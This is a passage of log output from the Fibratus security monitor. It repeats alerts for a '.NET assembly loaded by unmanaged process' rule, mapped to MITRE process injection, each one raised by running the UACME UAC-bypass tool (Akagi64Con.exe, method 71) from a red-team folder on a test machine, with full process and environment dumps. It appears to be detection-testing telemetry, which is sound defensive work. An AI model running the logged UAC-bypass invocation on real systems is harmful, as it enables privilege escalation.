MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022503 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8865898 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022503 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8865898 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files 